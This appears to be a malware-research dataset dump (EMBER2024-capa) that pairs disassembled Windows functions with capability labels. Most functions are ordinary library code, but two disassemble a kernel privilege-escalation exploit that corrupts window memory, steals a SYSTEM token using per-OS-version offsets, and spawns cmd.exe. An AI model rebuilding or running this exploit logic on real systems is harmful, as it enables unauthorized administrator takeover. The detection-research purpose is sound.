joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800f88f0
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbp, qword [rcx + 0x18]
lea eax, [rdx - 0xc8]
xor edi, edi
mov esi, r8d
mov rbx, rcx
cmp eax, 0x64
jb 0x1800f892f
lea rdx, str.Couldnt_set_desired_mode
call fcn.1800d11e0
lea eax, [rdi + 0x11]
jmp 0x1800f8a95
cmp edx, 0xc8
je 0x1800f8946
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200
call fcn.1800d1350
cmp esi, 0x13
jne 0x1800f895b
mov rdx, rbp
mov rcx, rbx
call fcn.1800f87f0
jmp 0x1800f8a91
cmp esi, 0x14
jne 0x1800f8a73
cmp dword [rbx + 0x720], 2
mov rbp, qword [rbx + 0x18]
jne 0x1800f89d8
mov rax, qword [rbx + 0x1b0]
mov rcx, qword [rax]
test rcx, rcx
je 0x1800f89d8
xor r9d, r9d
mov qword [rsp + 0x40], rdi
lea r8, [rsp + 0x40]
mov dword [rsp + 0x20], 3
xor edx, edx
call fcn.180101480
test eax, eax
jne 0x1800f8a91
mov rcx, qword [rsp + 0x40]
lea edx, [rsi + 0x1b]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x1800f89cd
mov rdi, qword [rsp + 0x40]
mov ecx, 1
sub rax, rdi
cmovne rcx, rax
mov byte [rcx + rdi], 0
jmp 0x1800f89d8
mov rcx, qword [rsp + 0x40]
call qword [fcn.180113ca4]
mov rdx, qword [rbx + 0x790]
test rdx, rdx
jne 0x1800f89fd
cmp byte [rbx + 0x12f0], 0
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x18012e3b3]
test rdi, rdi
mov r9, r8
lea rax, [0x180121264]
cmovne r9, rdi
lea rcx, [0x1801219ac]
cmovne r8, rax
call fcn.1800e3c20
mov rcx, rdi
mov rsi, rax
call qword [fcn.180113ca4]
test rsi, rsi
jne 0x1800f8a3b
lea edi, [rsi + 0x1b]
jmp 0x1800f8a93
lea rdx, [rbp + 0x6f8]
mov r9, rsi
lea r8, [0x180136040]
mov rcx, rbx
call fcn.18010d1b0
mov rcx, rsi
mov edi, eax
call qword [fcn.180113ca4]
test edi, edi
jne 0x1800f8a93
mov rcx, qword [rbx + 0x18]
mov dword [rcx + 0x7c8], 0x1f
jmp 0x1800f8a93
cmp esi, 0x15
jne 0x1800f8a7e
lea r8d, [rsi - 8]
jmp 0x1800f8a87
cmp esi, 0x16
jne 0x1800f8a93
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rbx
call fcn.1800f8300
mov edi, eax
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x180108d00
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbx
push rbp
push r12
push r13
push r15
sub rsp, 0x180
mov rax, qword [0x1801551e0]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x50], rcx
mov r15, r8
mov rcx, rdx
mov r12, rdx
xor ebp, ebp
xor ebx, ebx
call case.0x1800c5f29.0
mov r13, rax
test rax, rax
jne 0x180108d7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov ecx, eax
call fcn.1800e5ab0
mov r9, rax
lea rdx, str.schannel:_invalid_path_name_for_CA_file__s:__s
mov r8, r12
mov rcx, r15
call fcn.1800d11e0
xor ecx, ecx
lea ebx, [rbp + 0x4d]
call qword [fcn.180113ca4]
jmp 0x180108f38
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, r13
mov qword [rsp + 0x170], r14
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x180108df1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov ecx, eax
call fcn.1800e5ab0
mov r9, rax
lea rdx, str.schannel:_failed_to_open_CA_file__s:__s
mov r8, r12
mov rcx, r15
call fcn.1800d11e0
xor ecx, ecx
lea ebx, [r14 + 0x4e]
jmp 0x180108f22
lea rdx, [rsp + 0x48]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x180108e3a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov ecx, eax
call fcn.1800e5ab0
mov r9, rax
lea rdx, str.schannel:_failed_to_determine_size_of_CA_file__s:__s
mov r8, r12
mov rcx, r15
call fcn.1800d11e0
mov ebx, Ordinal_79
jmp 0x180108f16
mov qword [rsp + 0x178], rdi
mov rdi, qword [rsp + 0x48]
cmp rdi, 0x100000
jle 0x180108e6f
mov r8d, 0x100000
lea rdx, str.schannel:_CA_file_exceeds_max_size_of__u_bytes
mov rcx, r15
call fcn.1800d11e0
mov ebx, Ordinal_79
jmp 0x180108f0e
lea rcx, [rdi + 1]
call qword [0x180155170]
mov rbp, rax
test rax, rax
jne 0x180108e89
lea ebx, [rax + 0x1b]
jmp 0x180108f0e
mov qword [rsp + 0x1c8], rsi
test rdi, rdi
je 0x180108ee8
nop word [rax + rax]
mov r8d, edi
mov dword [rsp + 0x40], 0
sub r8d, ebx
mov esi, ebx
lea rdx, [rbx + rbp]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180108f5a
mov eax, dword [rsp + 0x40]
test eax, eax
jne 0x180108edf
mov edi, esi
jmp 0x180108ee1
add ebx, eax
mov eax, ebx
cmp rax, rdi
jb 0x180108ea0
mov rcx, qword [rsp + 0x50]
mov r9, r12
mov r8, rdi
mov byte [rdi + rbp], 0
mov rdx, rbp
mov qword [rsp + 0x20], r15
call fcn.180108a80
mov ebx, eax
mov rsi, qword [rsp + 0x1c8]
mov rdi, qword [rsp + 0x178]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [fcn.180113ca4]
mov rcx, r13
call fcn.180113ca4
mov r14, qword [rsp + 0x170]
mov eax, ebx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1801127f0
add rsp, 0x180
pop r15
pop r13
pop r12
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov ecx, eax
call fcn.1800e5ab0
mov r9, rax
lea rdx, str.schannel:_failed_to_read_from_CA_file__s:__s
mov r8, r12
mov rcx, r15
call fcn.1800d11e0
mov ebx, Ordinal_79
jmp 0x180108f06
Function at 0x180110290
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r14
push r15
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbp, rcx
mov ecx, dword [rcx + 0x20]
mov r14, rdx
add rcx, 0x18
mov r15d, r8d
lea r9d, [rax + rax]
add rcx, r9
call qword [0x180155170]
mov rbx, rax
test rax, rax
jne 0x1801102d5
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov eax, dword [rbp + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x50], rdi
cmp r15d, dword [rbp + 0x1c]
jbe 0x180110320
call qword [rbp]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, r14
call qword [rbp + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbp + 0x18]
add r14, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, r14
call qword [rbp + reloc.WS2_32.dll_recv]
mov r15d, dword [rbp + 0x20]
mov rcx, qword [rbx + 8]
call qword [rbp]
mov rcx, qword [rbx + 0x10]
call qword [rbp]
xor esi, esi
test r15, r15
je 0x180110382
mov rsi, r15
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rbx + 8]
call qword [rbp + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [rbp + reloc.WS2_32.dll_htonl]
sub r15, 1
jne 0x180110340
mov eax, dword [rbp + 0x1c]
cmp rsi, rax
jae 0x1801103c3
nop word [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x18012df7c]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x18012df7d]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov eax, dword [rbp + 0x1c]
inc rsi
cmp rsi, rax
jb 0x180110390
mov rdi, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rbp
ret
Function at 0x1801103e0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push rbx
push rbp
push r12
push r14
push r15
sub rsp, 0x20
mov rbp, rcx
mov r12, r9
mov rcx, r8
mov r14, rdx
call fcn.1800d3e40
mov r8d, dword [rbp + 0x18]
mov ecx, dword [rbp + 0x20]
add rcx, 0x18
mov r15d, eax
lea r9d, [r8 + r8]
add rcx, r9
call qword [0x180155170]
mov rbx, rax
test rax, rax
je 0x180110586
lea rcx, [rax + 0x18]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov eax, dword [rbp + 0x18]
add rax, rcx
mov qword [rsp + 0x58], rsi
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x60], rdi
cmp r15d, dword [rbp + 0x1c]
jbe 0x180110470
call qword [rbp]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, r14
call qword [rbp + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbp + 0x18]
add r14, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, r14
call qword [rbp + reloc.WS2_32.dll_recv]
mov r15d, dword [rbp + 0x20]
mov rcx, qword [rbx + 8]
call qword [rbp]
mov rcx, qword [rbx + 0x10]
call qword [rbp]
xor esi, esi
test r15, r15
je 0x1801104d2
mov rsi, r15
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x50]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x50], al
mov rcx, qword [rbx + 8]
call qword [rbp + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x50]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x50], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [rbp + reloc.WS2_32.dll_htonl]
sub r15, 1
jne 0x180110490
mov eax, dword [rbp + 0x1c]
cmp rsi, rax
jae 0x180110513
nop word [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x18012df7c]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x18012df7d]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov eax, dword [rbp + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1801104e0
mov rcx, qword [rsp + 0x70]
call fcn.1800d3e40
mov r9, qword [rbx]
mov r8d, eax
mov rcx, qword [rbx + 8]
mov rdx, r12
call qword [r9 + reloc.WS2_32.dll_htonl]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rbx]
test rdi, rdi
jne 0x180110542
mov edi, dword [rsi + 0x18]
add rdi, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
mov r8d, dword [rsi + 0x20]
mov rdx, rdi
mov rcx, qword [rbx + 0x10]
call qword [rsi + reloc.WS2_32.dll_htonl]
mov rdx, qword [rbx + 0x10]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
mov rcx, rbx
call qword [fcn.180113ca4]
mov rdi, qword [rsp + 0x60]
xor eax, eax
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret
mov eax, reloc.WLDAP32.dll_Ordinal_27
add rsp, 0x20
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret

Function at 0x180111e20
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x180111e85
nop dword [rax + rax]
movzx r8d, byte [r10]
lea r10, [r10 + 1]
movzx eax, r8b
movzx r9d, r8b
shr r9b, 1
and al, 0xfe
not r9b
movzx eax, al
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
or r8b, 1
test r9b, 2
movzx ecx, r8b
cmove ecx, eax
mov byte [r10 - 1], cl
sub rdx, 1
jne 0x180111e30
ret
Function at 0x140114620
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10090
call fcn.140118d80
sub rsp, rax
mov rax, qword [0x14015ce40]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx edx, byte [rcx]
lea rbx, [rsp + 0x30]
xor eax, eax
mov rsi, rcx
mov word [rsp + 0x80], ax
mov word [rsp + 0x30], ax
lea edi, [rax + 0x28]
test dl, dl
je 0x1401146e2
nop dword [rax + rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14011468d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x140114680
cmp rcx, 1
jb 0x14011473a
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x1401146b0
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.1401283b4
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x140114670
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140114713
lea rcx, [rsp + 0x80]
call fcn.14012b0c0
jmp 0x140114715
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.140118ab0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.14011d140
int3
Function at 0x1401185a0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14015ce40]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rbx, [rsp + 0x30]
mov rbp, rdx
mov word [rsp + 0x30], ax
movzx edx, byte [rcx]
mov rsi, rcx
lea edi, [rax + 0x28]
test dl, dl
je 0x140118645
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x1401185fd
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x1401185f0
cmp rcx, 1
jb 0x140118676
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140118613
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.1401283b4
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x1401185e0
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140118ab0
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.14011d140
int3
Function at 0x140118780
Capabilities:
Set environment variable

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0xb0
mov rax, qword [0x14015ce40]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rax, qword [0x140167858]
mov rbp, r8
mov rsi, rdx
mov r14, rcx
test rax, rax
jne 0x1401187d0
lea rcx, [0x1401398d4]
call qword [sym.imp.python311.dll_PyImport_ImportModule]
mov qword [0x140167858], rax
test rax, rax
je 0x140118a0a
mov qword [rsp + 0xa8], rbx
lea rdx, str.environ
mov qword [rsp + 0xa0], rdi
mov rcx, rax
mov qword [rsp + 0x98], r13
mov qword [rsp + 0x90], r15
call qword [sym.imp.python311.dll_PyObject_GetAttrString]
mov rcx, rsi
mov r15, rax
call qword [sym.imp.python311.dll_PyUnicode_FromString]
movzx edx, byte [rsi]
lea rbx, [rsp + 0x30]
xor ecx, ecx
mov r13, rax
mov word [rsp + 0x30], cx
lea edi, [rcx + 0x28]
test rbp, rbp
je 0x140118906
test dl, dl
je 0x1401188a2
nop
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14011884d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x140118840
cmp rcx, 1
jb 0x140118a10
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140118870
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.1401283b4
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x140118830
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, 0xffffffffffffffff
mov rcx, rbp
call qword [sym.imp.python311.dll_PyUnicode_FromWideChar]
mov rdx, r13
mov rcx, r15
mov r8, rax
mov rbx, rax
call qword [sym.imp.python311.dll_PyObject_SetItem]
test eax, eax
je 0x1401188ed
mov ecx, 1
call qword [sym.imp.python311.dll_PyErr_PrintEx]
mov ecx, 1
call qword [sym.imp.python311.dll_Py_Exit]
int3
sub qword [rbx], 1
jne 0x1401189a7
mov rax, qword [rbx + 8]
mov rcx, rbx
call qword [rax + 0x30]
jmp 0x1401189a7
test dl, dl
je 0x140118982
nop word [rax + rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14011892d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x140118920
cmp rcx, 1
jb 0x140118a04
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140118950
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.1401283b4
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x140118910
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, r13
mov rcx, r15
call qword [sym.imp.python311.dll_PyObject_DelItem]
test eax, eax
je 0x1401189a7
mov rcx, r14
call fcn.140041280
sub qword [r13], 1
jne 0x1401189b8
mov rax, qword [r13 + 8]
mov rcx, r13
call qword [rax + 0x30]
sub qword [r15], 1
jne 0x1401189c8
mov rax, qword [r15 + 8]
mov rcx, r15
call qword [rax + 0x30]
mov r13, qword [rsp + 0x98]
mov rdi, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0xa8]
mov r15, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140118ab0
add rsp, 0xb0
pop r14
pop rsi
pop rbp
ret
call fcn.14011d140
int3
call fcn.14011d140
int3
call fcn.14011d140
int3
Function at 0x140119518
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140119562
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140119562
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140119562
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140119562
cmp dword [rcx + 0x84], 0xe
jbe 0x140119562
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140119564
xor al, al
add rsp, 0x28
ret

Function at 0x14011e9b8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14011e823
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14011e823
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14011e823
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14011e823
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14011e823
cmp dword [rcx + 0x84], 0xe
jbe 0x14011e823
cmp dword [rcx + 0xf8], 0
je 0x14011e823
mov ecx, ebx
call fcn.14011e8d4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14011e6b0
nop
cmp dword [rbp + 0x20], 0
je 0x14011e871
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14011e87c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14011e7b4
Function at 0x140130240
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1401302c7
mov rsi, rbx
cmp word [rax], bp
je 0x140130286
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140130270
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14013026c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14012b8ac
mov rdi, rax
test rax, rax
je 0x1401302b4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140135f00
mov rbp, rdi
xor ecx, ecx
call fcn.14012c3f4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1401339e0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1401339f6
mov al, 1
jmp 0x140133a56
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140133a07
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140133a54
mov ecx, dword [rcx + 0x18]
nop
call fcn.140130588
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140133a54
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140133a54
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140133a54
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140133a56
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140135d50
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140135d78
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140135d78
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
call fcn.140001180
call fcn.140001340
call fcn.140001400
call fcn.140001750
mov rcx, qword [0x1400066d0]
mov edx, 1
call qword [0x140006710]
mov ebx, dword [0x14000670c]
lea rcx, str.Target_cbWndExtra_fields_kernel_memory_address:_0x_llx__ready_to_go__n
add rbx, 3
mov rax, qword [rax + 0x20]
add rbx, rax
mov rdx, rbx
call fcn.140002580
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, rbx
call fcn.140001e70
lea rcx, str.Primary_Window_cbWndExtra_value_corrupted__n
call fcn.140002580
call fcn.140001c50
mov rdx, qword [0x1400066e8]
lea rcx, str.Security_token_to_steal:_0x_llx_n
xor eax, eax
mov word [rsp + 0x28], dx
mov qword [rsp + 0x2a], rax
movzx eax, word [0x1400066ee]
mov word [rsp + 0x2e], ax
movzx eax, word [0x1400066ec]
mov word [rsp + 0x2c], ax
movzx eax, word [0x1400066ea]
mov word [rsp + 0x2a], ax
call fcn.140002580
mov ecx, dword [0x140006700]
lea rdx, [rsp + 0x28]
add rcx, qword [0x1400066d8]
call fcn.140001b70
lea rcx, str.SYSTEM_please._n
call fcn.140002580
lea rcx, str.cmd.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [0x140006700]
lea rdx, [rsp + 0x38]
add rcx, qword [0x1400066d8]
xor eax, eax
mov qword [rsp + 0x3a], rax
movzx eax, word [0x1400066e6]
mov word [rsp + 0x3e], ax
movzx eax, word [0x1400066e4]
mov word [rsp + 0x3c], ax
movzx eax, word [0x1400066e2]
mov word [rsp + 0x3a], ax
movzx eax, word [0x1400066e0]
mov word [rsp + 0x38], ax
call fcn.140001b70
xor eax, eax
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov word [rsp + 0x20], ax
call fcn.140001b70
mov rcx, qword [0x1400066d0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rcx, qword [0x1400066c8]
call qword [sym.imp.USER32.dll_DestroyWindow]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002610
add rsp, 0x50
pop rbx
ret
Function at 0x140001180
Capabilities:
Get file version info

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, str.Finding_OS_version_n
call fcn.140002580
lea rdx, [rsp + 0x30]
lea rcx, str.kernel32.dll
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov ecx, eax
mov dword [rsp + 0x30], eax
call fcn.140002634
mov r8d, dword [rsp + 0x30]
lea rcx, str.kernel32.dll
mov r9, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.VERSION.dll_GetFileVersionInfoW]
lea r9, [rsp + 0x38]
mov dword [rsp + 0x38], 0
lea r8, [rsp + 0x40]
mov rcx, rbx
lea rdx, [0x1400044ac]
call qword [sym.imp.VERSION.dll_VerQueryValueW]
mov rax, qword [rsp + 0x40]
movzx edx, word [rax + 0xa]
movzx ecx, word [rax + 8]
cmp edx, 6
jne 0x1400012db
cmp ecx, 1
jne 0x140001254
lea rcx, str.Windows_7_n
mov dword [0x1400066f4], 0x133a
mov dword [0x1400066f0], 0x10b2
mov dword [0x140006704], 0x180
mov dword [0x140006700], 0x208
mov dword [0x1400066fc], 0x188
mov dword [0x1400066f8], 0x50
call fcn.140002580
add rsp, 0x20
pop rbx
ret
cmp ecx, 2
jne 0x140001297
mov dword [0x1400066f4], 0x13d9
lea rcx, str.Windows_8_n
mov dword [0x1400066f0], 0x10b2
mov dword [0x140006704], 0x2e0
mov dword [0x140006700], 0x348
mov dword [0x1400066fc], 0x2e8
jmp 0x14000131d
cmp ecx, 3
jne 0x14000132c
mov dword [0x1400066f4], 0x140d
lea rcx, str.Windows_8.1_n
mov dword [0x1400066f0], 0x10b3
mov dword [0x140006704], 0x2e0
mov dword [0x140006700], 0x348
mov dword [0x1400066fc], 0x2e8
jmp 0x14000131d
cmp edx, 0xa
jne 0x14000132c
test ecx, ecx
jne 0x14000132c
mov dword [0x1400066f4], 0x146e
lea rcx, str.Windows_10_n
mov dword [0x1400066f0], 0x10b4
mov dword [0x140006704], 0x2e8
mov dword [0x140006700], 0x358
mov dword [0x1400066fc], 0x2f0
mov dword [0x1400066f8], 0x98
call fcn.140002580
add rsp, 0x20
pop rbx
ret

Function at 0x1400025e0
Capabilities:
